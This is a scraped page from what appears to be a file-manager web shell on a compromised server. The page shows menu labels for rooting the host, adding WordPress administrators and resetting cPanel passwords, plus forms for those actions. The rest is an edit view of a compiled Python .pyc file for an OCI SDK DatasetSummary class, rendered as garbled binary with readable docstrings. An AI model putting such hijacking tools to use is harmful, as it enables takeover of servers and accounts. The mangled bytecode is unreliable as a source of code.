Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
ai_document
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: dataset_summary.cpython-39.pyc
a ���fh � @ s8 d dl mZmZmZ d dlmZ eG dd� de��ZdS )� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ s~ e Zd ZdZdd� Zedd� �Zejdd� �Zedd� �Zejd d� �Zed d� �Z e jdd� �Z d d� Z dd� Zdd� ZdS )�DatasetSummaryzA Summary of count of samples used during model training. c K s2 dddd�| _ dddd�| _d| _d| _d| _dS )a� Initializes a new DatasetSummary object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param training_sample_count: The value to assign to the training_sample_count property of this DatasetSummary. :type training_sample_count: int :param validation_sample_count: The value to assign to the validation_sample_count property of this DatasetSummary. :type validation_sample_count: int :param test_sample_count: The value to assign to the test_sample_count property of this DatasetSummary. :type test_sample_count: int �int)�training_sample_count�validation_sample_count�test_sample_countZtrainingSampleCountZvalidationSampleCountZtestSampleCountN)Z swagger_typesZ attribute_map�_training_sample_count�_validation_sample_count�_test_sample_count)�self�kwargs� r �J/usr/lib/python3.9/site-packages/oci/ai_document/models/dataset_summary.py�__init__ s ��zDatasetSummary.__init__c C s | j S )z� Gets the training_sample_count of this DatasetSummary. Number of samples used for training the model. :return: The training_sample_count of this DatasetSummary. :rtype: int �r �r r r r r 4 s z$DatasetSummary.training_sample_countc C s || _ dS )z� Sets the training_sample_count of this DatasetSummary. Number of samples used for training the model. :param training_sample_count: The training_sample_count of this DatasetSummary. :type: int Nr )r r r r r r @ s c C s | j S )z� Gets the validation_sample_count of this DatasetSummary. Number of samples used for validating the model. :return: The validation_sample_count of this DatasetSummary. :rtype: int �r r r r r r L s z&DatasetSummary.validation_sample_countc C s || _ dS )z� Sets the validation_sample_count of this DatasetSummary. Number of samples used for validating the model. :param validation_sample_count: The validation_sample_count of this DatasetSummary. :type: int Nr )r r r r r r X s c C s | j S )z� Gets the test_sample_count of this DatasetSummary. Number of samples used for testing the model. :return: The test_sample_count of this DatasetSummary. :rtype: int �r r r r r r d s z DatasetSummary.test_sample_countc C s || _ dS )z� Sets the test_sample_count of this DatasetSummary. Number of samples used for testing the model. :param test_sample_count: The test_sample_count of this DatasetSummary. :type: int Nr )r r r r r r p s c C s t | �S �N)r r r r r �__repr__| s zDatasetSummary.__repr__c C s |d u rdS | j |j kS )NF)�__dict__�r �otherr r r �__eq__ s zDatasetSummary.__eq__c C s | |k S r r r r r r �__ne__� s zDatasetSummary.__ne__N) �__name__� __module__�__qualname__�__doc__r �propertyr �setterr r r r r r r r r r s"